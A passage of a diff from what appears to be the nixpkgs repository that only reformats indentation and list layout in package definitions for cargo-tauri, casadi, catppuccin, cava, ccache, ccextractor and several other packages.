-      glib-networking
-      libayatana-appindicator
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    glib-networking
+    libayatana-appindicator
+    webkitgtk_4_1
+  ];
 
   buildAndTestSubdir = "examples/api/src-tauri";
 
diff --git a/pkgs/by-name/ca/cargo-tauri_1/package.nix b/pkgs/by-name/ca/cargo-tauri_1/package.nix
index c8f7ee7ba7b7..453295d5fa78 100644
--- a/pkgs/by-name/ca/cargo-tauri_1/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri_1/package.nix
@@ -36,13 +36,14 @@ cargo-tauri.overrideAttrs (
       hash = "sha256-t5sR02qC06H7A2vukwyZYKA2XMVUzJrgIOYuNSf42mE=";
     };
 
-    buildInputs =
-      [ openssl ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        gtk3
-        libsoup_2_4
-        webkitgtk_4_0
-      ];
+    buildInputs = [
+      openssl
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      gtk3
+      libsoup_2_4
+      webkitgtk_4_0
+    ];
 
     passthru = {
       hook = cargo-tauri.hook.override { cargo-tauri = cargo-tauri_1; };
diff --git a/pkgs/by-name/ca/cargo-udeps/package.nix b/pkgs/by-name/ca/cargo-udeps/package.nix
index a98e53c83c39..858c4eb32560 100644
--- a/pkgs/by-name/ca/cargo-udeps/package.nix
+++ b/pkgs/by-name/ca/cargo-udeps/package.nix
@@ -25,11 +25,12 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ pkg-config ];
 
   # TODO figure out how to use provided curl instead of compiling curl from curl-sys
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   # Requires network access
   doCheck = false;
diff --git a/pkgs/by-name/ca/cargo-ui/package.nix b/pkgs/by-name/ca/cargo-ui/package.nix
index d59ff0f0ac72..08f4ca307acb 100644
--- a/pkgs/by-name/ca/cargo-ui/package.nix
+++ b/pkgs/by-name/ca/cargo-ui/package.nix
@@ -28,21 +28,20 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libgit2
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      expat
-      fontconfig
-      libGL
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-      xorg.libXrandr
-      xorg.libxcb
-    ];
+  buildInputs = [
+    libgit2
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    expat
+    fontconfig
+    libGL
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+    xorg.libXrandr
+    xorg.libxcb
+  ];
 
   postFixup = lib.optionalString stdenv.hostPlatform.isLinux ''
     patchelf $out/bin/cargo-ui \
diff --git a/pkgs/by-name/ca/cargo-update/package.nix b/pkgs/by-name/ca/cargo-update/package.nix
index 034b7544eed2..2ad40ab41481 100644
--- a/pkgs/by-name/ca/cargo-update/package.nix
+++ b/pkgs/by-name/ca/cargo-update/package.nix
@@ -26,27 +26,25 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-Yq2jT8YnWPsNe7akShsj0nWxXXpgNvX1A95x7O8LOes=";
 
-  nativeBuildInputs =
-    [
-      cmake
-      installShellFiles
-      pkg-config
-      ronn
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  nativeBuildInputs = [
+    cmake
+    installShellFiles
+    pkg-config
+    ronn
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
-  buildInputs =
-    [
-      libgit2
-      libssh2
-      openssl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    libgit2
+    libssh2
+    openssl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   postBuild = ''
     # Man pages contain non-ASCII, so explicitly set encoding to UTF-8.
diff --git a/pkgs/by-name/ca/cargo-vibe/package.nix b/pkgs/by-name/ca/cargo-vibe/package.nix
index 1f0afa5289b0..f339d434a3df 100644
--- a/pkgs/by-name/ca/cargo-vibe/package.nix
+++ b/pkgs/by-name/ca/cargo-vibe/package.nix
@@ -28,7 +28,8 @@ rustPlatform.buildRustPackage {
   buildInputs = [
     dbus
     openssl
-  ] ++ lib.optional stdenv.hostPlatform.isLinux udev;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux udev;
 
   meta = with lib; {
     description = "Cargo x Buttplug.io";
diff --git a/pkgs/by-name/ca/casadi/package.nix b/pkgs/by-name/ca/casadi/package.nix
index 8cf856a27a8f..139aa6dce48d 100644
--- a/pkgs/by-name/ca/casadi/package.nix
+++ b/pkgs/by-name/ca/casadi/package.nix
@@ -58,50 +58,49 @@ stdenv.mkDerivation (finalAttrs: {
     ./clang-19.diff
   ];
 
-  postPatch =
-    ''
-      # fix case of hpipmConfig.cmake
-      substituteInPlace CMakeLists.txt --replace-fail \
-        "FATROP HPIPM" \
-        "FATROP hpipm"
+  postPatch = ''
+    # fix case of hpipmConfig.cmake
+    substituteInPlace CMakeLists.txt --replace-fail \
+      "FATROP HPIPM" \
+      "FATROP hpipm"
 
-      # nix provide lib/clang headers in libclang, not in llvm.
-      substituteInPlace casadi/interfaces/clang/CMakeLists.txt --replace-fail \
-        '$'{CLANG_LLVM_LIB_DIR} \
-        ${lib.getLib llvmPackages.libclang}/lib
+    # nix provide lib/clang headers in libclang, not in llvm.
+    substituteInPlace casadi/interfaces/clang/CMakeLists.txt --replace-fail \
+      '$'{CLANG_LLVM_LIB_DIR} \
+      ${lib.getLib llvmPackages.libclang}/lib
 
-      # help casadi find its own libs
-      substituteInPlace casadi/core/casadi_os.cpp --replace-fail \
-        "std::vector<std::string> search_paths;" \
-        "std::vector<std::string> search_paths;
-         search_paths.push_back(\"$out/lib\");"
-    ''
-    + lib.optionalString pythonSupport ''
-      # fix including Python.h issue
-      substituteInPlace swig/python/CMakeLists.txt --replace-fail \
-        "add_library(_casadi MODULE \''${PYTHON_FILE})" \
-        "add_library(_casadi MODULE \''${PYTHON_FILE})
-         target_include_directories(_casadi SYSTEM PRIVATE
-           ${python3Packages.python}/include/python3.${python3Packages.python.sourceVersion.minor})"
+    # help casadi find its own libs
+    substituteInPlace casadi/core/casadi_os.cpp --replace-fail \
+      "std::vector<std::string> search_paths;" \
+      "std::vector<std::string> search_paths;
+       search_paths.push_back(\"$out/lib\");"
+  ''
+  + lib.optionalString pythonSupport ''
+    # fix including Python.h issue
+    substituteInPlace swig/python/CMakeLists.txt --replace-fail \
+      "add_library(_casadi MODULE \''${PYTHON_FILE})" \
+      "add_library(_casadi MODULE \''${PYTHON_FILE})
+       target_include_directories(_casadi SYSTEM PRIVATE
+         ${python3Packages.python}/include/python3.${python3Packages.python.sourceVersion.minor})"
 
-      # I have no clue. without this, it tries to install a non existent file.
-      # maybe a run without SWIG_IMPORT is required before a run with SWIG_IMPORT.
-      # but we need SWIG_IMPORT at some point for something else TODO
-      substituteInPlace swig/python/CMakeLists.txt --replace-fail \
-        "if (SWIG_IMPORT)" \
-        "if (NOT SWIG_IMPORT)"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # this is only printing stuff, and is not defined on all CPU
-      substituteInPlace casadi/interfaces/hpipm/hpipm_runtime.hpp --replace-fail \
-        "d_print_exp_tran_mat" \
-        "//d_print_exp_tran_mat"
+    # I have no clue. without this, it tries to install a non existent file.
+    # maybe a run without SWIG_IMPORT is required before a run with SWIG_IMPORT.
+    # but we need SWIG_IMPORT at some point for something else TODO
+    substituteInPlace swig/python/CMakeLists.txt --replace-fail \
+      "if (SWIG_IMPORT)" \
+      "if (NOT SWIG_IMPORT)"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # this is only printing stuff, and is not defined on all CPU
+    substituteInPlace casadi/interfaces/hpipm/hpipm_runtime.hpp --replace-fail \
+      "d_print_exp_tran_mat" \
+      "//d_print_exp_tran_mat"
 
-      # fix missing symbols
-      substituteInPlace cmake/FindCLANG.cmake --replace-fail \
-        "clangBasic)" \
-        "clangBasic clangASTMatchers clangSupport)"
-    '';
+    # fix missing symbols
+    substituteInPlace cmake/FindCLANG.cmake --replace-fail \
+      "clangBasic)" \
+      "clangBasic clangASTMatchers clangSupport)"
+  '';
 
   nativeBuildInputs = [
     cmake
@@ -109,43 +108,42 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      #alpaqa
-      blas
-      blasfeo
-      bzip2
-      bonmin
-      cbc
-      clp
-      fatrop
-      highs
-      hpipm
-      ipopt
-      lapack
-      llvmPackages.clang
-      llvmPackages.libclang
-      llvmPackages.llvm
-      mumps
-      osqp
-      proxsuite
-      sleqp
-      suitesparse
-      #sundials
-      superscs
-      spral
-      swig
-      tinyxml-2
-    ]
-    ++ lib.optionals withUnfree [
-      cplex
-      gurobi
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.numpy
-      python3Packages.python
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
+  buildInputs = [
+    #alpaqa
+    blas
+    blasfeo
+    bzip2
+    bonmin
+    cbc
+    clp
+    fatrop
+    highs
+    hpipm
+    ipopt
+    lapack
+    llvmPackages.clang
+    llvmPackages.libclang
+    llvmPackages.llvm
+    mumps
+    osqp
+    proxsuite
+    sleqp
+    suitesparse
+    #sundials
+    superscs
+    spral
+    swig
+    tinyxml-2
+  ]
+  ++ lib.optionals withUnfree [
+    cplex
+    gurobi
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.numpy
+    python3Packages.python
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ llvmPackages.openmp ];
 
   cmakeFlags = [
     (lib.cmakeBool "WITH_PYTHON" pythonSupport)
diff --git a/pkgs/by-name/ca/casync/package.nix b/pkgs/by-name/ca/casync/package.nix
index 703af1ab01c7..60edf2a5d716 100644
--- a/pkgs/by-name/ca/casync/package.nix
+++ b/pkgs/by-name/ca/casync/package.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation {
     hash = "sha256-L7I80kSG4/ES2tGvHHgvOxJZzF76yeqy2WquKCPhnFk=";
   };
 
-  buildInputs =
-    [
-      acl
-      curl
-      xz
-      zstd
-    ]
-    ++ lib.optionals fuseSupport [ fuse ]
-    ++ lib.optionals selinuxSupport [ libselinux ]
-    ++ lib.optionals udevSupport [ udev ];
+  buildInputs = [
+    acl
+    curl
+    xz
+    zstd
+  ]
+  ++ lib.optionals fuseSupport [ fuse ]
+  ++ lib.optionals selinuxSupport [ libselinux ]
+  ++ lib.optionals udevSupport [ udev ];
   nativeBuildInputs = [
     meson
     ninja
diff --git a/pkgs/by-name/ca/catboost/package.nix b/pkgs/by-name/ca/catboost/package.nix
index d79ad9ef84cb..f8dc6d272ed5 100644
--- a/pkgs/by-name/ca/catboost/package.nix
+++ b/pkgs/by-name/ca/catboost/package.nix
@@ -57,35 +57,33 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      llvmPackages.bintools
-      ninja
-      (python3Packages.python.withPackages (ps: with ps; [ six ]))
-      ragel
-      yasm
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      cctools
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-    ];
+  nativeBuildInputs = [
+    cmake
+    llvmPackages.bintools
+    ninja
+    (python3Packages.python.withPackages (ps: with ps; [ six ]))
+    ragel
+    yasm
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    cctools
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+  ];
 
-  buildInputs =
-    [
-      openssl
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_cudart
-      cudaPackages.cuda_cccl
-      cudaPackages.libcublas
-    ];
+  buildInputs = [
+    openssl
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_cudart
+    cudaPackages.cuda_cccl
+    cudaPackages.libcublas
+  ];
 
   env = {
     PROGRAM_VERSION = finalAttrs.version;
diff --git a/pkgs/by-name/ca/catclock/package.nix b/pkgs/by-name/ca/catclock/package.nix
index 54fff59769e6..4d4071fa193a 100644
--- a/pkgs/by-name/ca/catclock/package.nix
+++ b/pkgs/by-name/ca/catclock/package.nix
@@ -29,19 +29,19 @@ stdenv.mkDerivation {
   makeFlags = [
     "DESTINATION=$(out)/bin/"
     "CFLAGS=-Wno-incompatible-pointer-types"
-  ] ++ lib.optional withAudioTracking "WITH_TEMPO_TRACKER=1";
+  ]
+  ++ lib.optional withAudioTracking "WITH_TEMPO_TRACKER=1";
 
-  buildInputs =
-    [
-      motif
-      xorg.libX11
-      xorg.libXext
-      xorg.libXt
-    ]
-    ++ lib.optionals withAudioTracking [
-      libpulseaudio
-      aubio
-    ];
+  buildInputs = [
+    motif
+    xorg.libX11
+    xorg.libXext
+    xorg.libXt
+  ]
+  ++ lib.optionals withAudioTracking [
+    libpulseaudio
+    aubio
+  ];
 
   meta = with lib; {
     homepage = "http://codefromabove.com/2014/05/catclock/";
diff --git a/pkgs/by-name/ca/catdvi/package.nix b/pkgs/by-name/ca/catdvi/package.nix
index f6c3becb41fd..8620815abdd3 100644
--- a/pkgs/by-name/ca/catdvi/package.nix
+++ b/pkgs/by-name/ca/catdvi/package.nix
@@ -60,13 +60,12 @@ stdenv.mkDerivation (finalAttrs: {
     tex
   ];
 
-  makeFlags =
-    [
-      "catdvi" # to avoid running tests until checkPhase
-    ]
-    ++ lib.optionals (with stdenv; !buildPlatform.canExecute hostPlatform) (
-      map (tool: "--assume-old=${tool}") buildPlatformTools
-    );
+  makeFlags = [
+    "catdvi" # to avoid running tests until checkPhase
+  ]
+  ++ lib.optionals (with stdenv; !buildPlatform.canExecute hostPlatform) (
+    map (tool: "--assume-old=${tool}") buildPlatformTools
+  );
 
   nativeCheckInputs = [
     texlive
diff --git a/pkgs/by-name/ca/catppuccin/package.nix b/pkgs/by-name/ca/catppuccin/package.nix
index 32914fe6da4b..42761047fc51 100644
--- a/pkgs/by-name/ca/catppuccin/package.nix
+++ b/pkgs/by-name/ca/catppuccin/package.nix
@@ -224,111 +224,110 @@ lib.checkListOfEnum "${pname}: variant" validVariants [ variant ] lib.checkListO
       done
     '';
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        local capitalizedVariant=$(sed 's/^\(.\)/\U\1/' <<< "${variant}")
-        local capitalizedAccent=$(sed 's/^\(.\)/\U\1/' <<< "${accent}")
+      local capitalizedVariant=$(sed 's/^\(.\)/\U\1/' <<< "${variant}")
+      local capitalizedAccent=$(sed 's/^\(.\)/\U\1/' <<< "${accent}")
 
-      ''
-      + lib.optionalString (lib.elem "alacritty" themeList) ''
-        mkdir -p "$out/alacritty"
-        cp "${sources.alacritty}/catppuccin-${variant}.toml" "$out/alacritty/"
+    ''
+    + lib.optionalString (lib.elem "alacritty" themeList) ''
+      mkdir -p "$out/alacritty"
+      cp "${sources.alacritty}/catppuccin-${variant}.toml" "$out/alacritty/"
 
-      ''
-      + lib.optionalString (lib.elem "bat" themeList) ''
-        mkdir -p "$out/bat"
-        cp "${sources.bat}/themes/Catppuccin "$capitalizedVariant".tmTheme" "$out/bat/"
+    ''
+    + lib.optionalString (lib.elem "bat" themeList) ''
+      mkdir -p "$out/bat"
+      cp "${sources.bat}/themes/Catppuccin "$capitalizedVariant".tmTheme" "$out/bat/"
 
-      ''
-      + lib.optionalString (lib.elem "btop" themeList) ''
-        mkdir -p "$out/btop"
-        cp "${sources.btop}/themes/catppuccin_${variant}.theme" "$out/btop/"
+    ''
+    + lib.optionalString (lib.elem "btop" themeList) ''
+      mkdir -p "$out/btop"
+      cp "${sources.btop}/themes/catppuccin_${variant}.theme" "$out/btop/"
 
-      ''
-      + lib.optionalString (lib.elem "bottom" themeList) ''
-        mkdir -p "$out/bottom"
-        cp "${sources.bottom}/themes/${variant}.toml" "$out/bottom/"
+    ''
+    + lib.optionalString (lib.elem "bottom" themeList) ''
+      mkdir -p "$out/bottom"
+      cp "${sources.bottom}/themes/${variant}.toml" "$out/bottom/"
 
-      ''
-      + lib.optionalString (lib.elem "element" themeList) ''
-        mkdir -p "$out/element"
-        cp -r "${sources.element}/themes/Catppuccin-${variant}.json" "$out/element/"
+    ''
+    + lib.optionalString (lib.elem "element" themeList) ''
+      mkdir -p "$out/element"
+      cp -r "${sources.element}/themes/Catppuccin-${variant}.json" "$out/element/"
 
-      ''
-      + lib.optionalString (lib.elem "grub" themeList) ''
-        mkdir -p "$out/grub"
-        cp -r "${sources.grub}/src/catppuccin-${variant}-grub-theme/"* "$out/grub/"
+    ''
+    + lib.optionalString (lib.elem "grub" themeList) ''
+      mkdir -p "$out/grub"
+      cp -r "${sources.grub}/src/catppuccin-${variant}-grub-theme/"* "$out/grub/"
 
-      ''
-      + lib.optionalString (lib.elem "hyprland" themeList) ''
-        mkdir -p "$out/hyprland"
-        cp "${sources.hyprland}/themes/${variant}.conf" "$out/hyprland/"
+    ''
+    + lib.optionalString (lib.elem "hyprland" themeList) ''
+      mkdir -p "$out/hyprland"
+      cp "${sources.hyprland}/themes/${variant}.conf" "$out/hyprland/"
 
-      ''
-      + lib.optionalString (lib.elem "k9s" themeList) ''
-        mkdir -p "$out/k9s"
-        cp "${sources.k9s}/dist/catppuccin-${variant}.yaml" "$out/k9s/"
-        cp "${sources.k9s}/dist/catppuccin-${variant}-transparent.yaml" "$out/k9s/"
+    ''
+    + lib.optionalString (lib.elem "k9s" themeList) ''
+      mkdir -p "$out/k9s"
+      cp "${sources.k9s}/dist/catppuccin-${variant}.yaml" "$out/k9s/"
+      cp "${sources.k9s}/dist/catppuccin-${variant}-transparent.yaml" "$out/k9s/"
 
-      ''
-      + lib.optionalString (lib.elem "kvantum" themeList) ''
-        mkdir -p "$out/share/Kvantum"
-        cp -r "${sources.kvantum}/themes/catppuccin-${variant}-${accent}" "$out/share/Kvantum"
+    ''
+    + lib.optionalString (lib.elem "kvantum" themeList) ''
+      mkdir -p "$out/share/Kvantum"
+      cp -r "${sources.kvantum}/themes/catppuccin-${variant}-${accent}" "$out/share/Kvantum"
 
-      ''
-      + lib.optionalString (lib.elem "lazygit" themeList) ''
-        mkdir -p "$out/lazygit/"{themes,themes-mergable}
-        cp "${sources.lazygit}/themes/${variant}/${accent}.yml" "$out/lazygit/themes/"
-        cp "${sources.lazygit}/themes-mergable/${variant}/${accent}.yml" "$out/lazygit/themes-mergable/"
+    ''
+    + lib.optionalString (lib.elem "lazygit" themeList) ''
+      mkdir -p "$out/lazygit/"{themes,themes-mergable}
+      cp "${sources.lazygit}/themes/${variant}/${accent}.yml" "$out/lazygit/themes/"
+      cp "${sources.lazygit}/themes-mergable/${variant}/${accent}.yml" "$out/lazygit/themes-mergable/"
 
-      ''
-      + lib.optionalString (lib.elem "lxqt" themeList) ''
-        mkdir -p "$out/share/lxqt/themes/catppuccin-${variant}"
-        cp -r "${sources.lxqt}/src/catppuccin-${variant}/"* "$out/share/lxqt/themes/catppuccin-${variant}"
+    ''
+    + lib.optionalString (lib.elem "lxqt" themeList) ''
+      mkdir -p "$out/share/lxqt/themes/catppuccin-${variant}"
+      cp -r "${sources.lxqt}/src/catppuccin-${variant}/"* "$out/share/lxqt/themes/catppuccin-${variant}"
 
-      ''
-      + lib.optionalString (lib.elem "plymouth" themeList) ''
-        mkdir -p "$out/share/plymouth/themes/catppuccin-${variant}"
-        cp ${sources.plymouth}/themes/catppuccin-${variant}/* $out/share/plymouth/themes/catppuccin-${variant}
-        sed -i 's:\(^ImageDir=\)/usr:\1'"$out"':' $out/share/plymouth/themes/catppuccin-${variant}/catppuccin-${variant}.plymouth
+    ''
+    + lib.optionalString (lib.elem "plymouth" themeList) ''
+      mkdir -p "$out/share/plymouth/themes/catppuccin-${variant}"
+      cp ${sources.plymouth}/themes/catppuccin-${variant}/* $out/share/plymouth/themes/catppuccin-${variant}
+      sed -i 's:\(^ImageDir=\)/usr:\1'"$out"':' $out/share/plymouth/themes/catppuccin-${variant}/catppuccin-${variant}.plymouth
 
-      ''
-      + lib.optionalString (lib.elem "qt5ct" themeList) ''
-        mkdir -p "$out/qt5ct"
-        cp "${sources.qt5ct}/themes/catppuccin-${variant}-${accent}.conf" "$out/qt5ct"
+    ''
+    + lib.optionalString (lib.elem "qt5ct" themeList) ''
+      mkdir -p "$out/qt5ct"
+      cp "${sources.qt5ct}/themes/catppuccin-${variant}-${accent}.conf" "$out/qt5ct"
 
-      ''
-      + lib.optionalString (lib.elem "rofi" themeList) ''
-        mkdir -p "$out/rofi"
-        cp "${sources.rofi}/themes/catppuccin-${variant}.rasi" "$out/rofi"
+    ''
+    + lib.optionalString (lib.elem "rofi" themeList) ''
+      mkdir -p "$out/rofi"
+      cp "${sources.rofi}/themes/catppuccin-${variant}.rasi" "$out/rofi"
 
-      ''
-      + lib.optionalString (lib.elem "refind" themeList) ''
-        mkdir -p "$out/refind/assets"
-        cp "${sources.refind}/${variant}.conf" "$out/refind"
-        cp -r "${sources.refind}/assets/${variant}" "$out/refind/assets"
+    ''
+    + lib.optionalString (lib.elem "refind" themeList) ''
+      mkdir -p "$out/refind/assets"
+      cp "${sources.refind}/${variant}.conf" "$out/refind"
+      cp -r "${sources.refind}/assets/${variant}" "$out/refind/assets"
 
-      ''
-      + lib.optionalString (lib.elem "starship" themeList) ''
-        mkdir -p "$out/starship"
-        cp "${sources.starship}/themes/${variant}.toml" "$out/starship"
+    ''
+    + lib.optionalString (lib.elem "starship" themeList) ''
+      mkdir -p "$out/starship"
+      cp "${sources.starship}/themes/${variant}.toml" "$out/starship"
 
-      ''
-      + lib.optionalString (lib.elem "thunderbird" themeList) ''
-        mkdir -p "$out/thunderbird"
-        cp "${sources.thunderbird}/themes/${variant}/${variant}-${accent}.xpi" "$out/thunderbird"
+    ''
+    + lib.optionalString (lib.elem "thunderbird" themeList) ''
+      mkdir -p "$out/thunderbird"
+      cp "${sources.thunderbird}/themes/${variant}/${variant}-${accent}.xpi" "$out/thunderbird"
 
-      ''
-      + lib.optionalString (lib.elem "waybar" themeList) ''
-        mkdir -p "$out/waybar"
-        cp "${sources.waybar}/themes/${variant}.css" "$out/waybar"
+    ''
+    + lib.optionalString (lib.elem "waybar" themeList) ''
+      mkdir -p "$out/waybar"
+      cp "${sources.waybar}/themes/${variant}.css" "$out/waybar"
 
-      ''
-      + ''
-        runHook postInstall
-      '';
+    ''
+    + ''
+      runHook postInstall
+    '';
 
     meta = {
       description = "Soothing pastel themes";
diff --git a/pkgs/by-name/ca/cava/package.nix b/pkgs/by-name/ca/cava/package.nix
index 8deb020998ad..637d5515b53b 100644
--- a/pkgs/by-name/ca/cava/package.nix
+++ b/pkgs/by-name/ca/cava/package.nix
@@ -31,27 +31,26 @@ stdenv.mkDerivation rec {
     hash = "sha256-oKEUddzg7Gt3uu6x9D65JX0PvuC59r7Psb9VZz3+nCc=";
   };
 
-  buildInputs =
-    [
-      fftw
-      iniparser
-      libpulseaudio
-      libtool
-      ncurses
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      portaudio
-    ]
-    ++ lib.optionals withSDL2 [
-      libGL
-      SDL2
-    ]
-    ++ lib.optionals withPipewire [
-      pipewire
-    ];
+  buildInputs = [
+    fftw
+    iniparser
+    libpulseaudio
+    libtool
+    ncurses
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    portaudio
+  ]
+  ++ lib.optionals withSDL2 [
+    libGL
+    SDL2
+  ]
+  ++ lib.optionals withPipewire [
+    pipewire
+  ];
 
   nativeBuildInputs = [
     autoreconfHook
diff --git a/pkgs/by-name/cb/cbc/package.nix b/pkgs/by-name/cb/cbc/package.nix
index c96cbc2e7a7d..3cc7618781eb 100644
--- a/pkgs/by-name/cb/cbc/package.nix
+++ b/pkgs/by-name/cb/cbc/package.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "-C"
     "--enable-static"
-  ] ++ lib.optionals stdenv.cc.isClang [ "CXXFLAGS=-std=c++14" ];
+  ]
+  ++ lib.optionals stdenv.cc.isClang [ "CXXFLAGS=-std=c++14" ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/cb/cbmc/package.nix b/pkgs/by-name/cb/cbmc/package.nix
index 9f43b14131de..821745b591eb 100644
--- a/pkgs/by-name/cb/cbmc/package.nix
+++ b/pkgs/by-name/cb/cbmc/package.nix
@@ -59,27 +59,26 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  postPatch =
-    ''
-      # fix library_check.sh interpreter error
-      patchShebangs .
+  postPatch = ''
+    # fix library_check.sh interpreter error
+    patchShebangs .
 
-      mkdir -p srccadical
-      cp -r ${finalAttrs.srccadical}/* srccadical
+    mkdir -p srccadical
+    cp -r ${finalAttrs.srccadical}/* srccadical
 
-      mkdir -p srcglucose
-      cp -r ${finalAttrs.srcglucose}/* srcglucose
-      find -exec chmod +w {} \;
+    mkdir -p srcglucose
+    cp -r ${finalAttrs.srcglucose}/* srcglucose
+    find -exec chmod +w {} \;
 
-      substituteInPlace src/solvers/CMakeLists.txt \
-       --replace-fail "@srccadical@" "$PWD/srccadical" \
-       --replace-fail "@srcglucose@" "$PWD/srcglucose"
-    ''
-    + lib.optionalString (!stdenv.cc.isGNU) ''
-      # goto-gcc rely on gcc
-      substituteInPlace "regression/CMakeLists.txt" \
-        --replace-fail "add_subdirectory(goto-gcc)" ""
-    '';
+    substituteInPlace src/solvers/CMakeLists.txt \
+     --replace-fail "@srccadical@" "$PWD/srccadical" \
+     --replace-fail "@srcglucose@" "$PWD/srcglucose"
+  ''
+  + lib.optionalString (!stdenv.cc.isGNU) ''
+    # goto-gcc rely on gcc
+    substituteInPlace "regression/CMakeLists.txt" \
+      --replace-fail "add_subdirectory(goto-gcc)" ""
+  '';
 
   postInstall = ''
     # goto-cc expects ls_parse.py in PATH
diff --git a/pkgs/by-name/cc/ccache/package.nix b/pkgs/by-name/cc/ccache/package.nix
index 00162a46eb58..58957dbddec4 100644
--- a/pkgs/by-name/cc/ccache/package.nix
+++ b/pkgs/by-name/cc/ccache/package.nix
@@ -86,22 +86,22 @@ stdenv.mkDerivation (finalAttrs: {
     bashInteractive
     ctestCheckHook
     writableTmpDirAsHomeHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin xcodebuild;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin xcodebuild;
 
   checkInputs = [
     doctest
   ];
 
-  disabledTests =
-    [
-      "test.trim_dir" # flaky on hydra (possibly filesystem-specific?)
-      "test.fileclone" # flaky on hydra, also seems to fail on zfs
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test.basedir"
-      "test.multi_arch"
-      "test.nocpp2"
-    ];
+  disabledTests = [
+    "test.trim_dir" # flaky on hydra (possibly filesystem-specific?)
+    "test.fileclone" # flaky on hydra, also seems to fail on zfs
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test.basedir"
+    "test.multi_arch"
+    "test.nocpp2"
+  ];
 
   passthru = {
     # A derivation that provides gcc and g++ commands, but that
diff --git a/pkgs/by-name/cc/ccextractor/package.nix b/pkgs/by-name/cc/ccextractor/package.nix
index ae94897395ff..266f47de92e2 100644
--- a/pkgs/by-name/cc/ccextractor/package.nix
+++ b/pkgs/by-name/cc/ccextractor/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation (finalAttrs: {
   patches = [
     ./remove-default-commit-hash.patch
     ./remove-vendored-libraries.patch
-  ] ++ finalAttrs.cargoDeps.vendorStaging.patches;
+  ]
+  ++ finalAttrs.cargoDeps.vendorStaging.patches;
 
   cmakeDir = "../src";
 
@@ -67,38 +68,36 @@ stdenv.mkDerivation (finalAttrs: {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      gpac
-      protobufc
-      libpng
-      zlib
-      utf8proc
-      freetype
-      ffmpeg
-      libarchive
-      curl
-      libiconv
-    ]
-    ++ lib.optionals enableOcr [
-      leptonica
-      tesseract
-    ];
+  buildInputs = [
+    gpac
+    protobufc
+    libpng
+    zlib
+    utf8proc
+    freetype
+    ffmpeg
+    libarchive
+    curl
+    libiconv
+  ]
+  ++ lib.optionals enableOcr [
+    leptonica
+    tesseract
+  ];
 
-  cmakeFlags =
-    [
-      # The tests are all part of one `cargo test` invocation, so let’s
-      # get the output from it.
-      (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--verbose")
+  cmakeFlags = [
+    # The tests are all part of one `cargo test` invocation, so let’s
+    # get the output from it.
+    (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "--verbose")
 
-      # TODO: This (and the corresponding patch) should probably be
-      # removed for the next stable release.
-      (lib.cmakeFeature "GIT_COMMIT_HASH" finalAttrs.src.rev)
-    ]
-    ++ lib.optionals enableOcr [
-      (lib.cmakeBool "WITH_OCR" true)
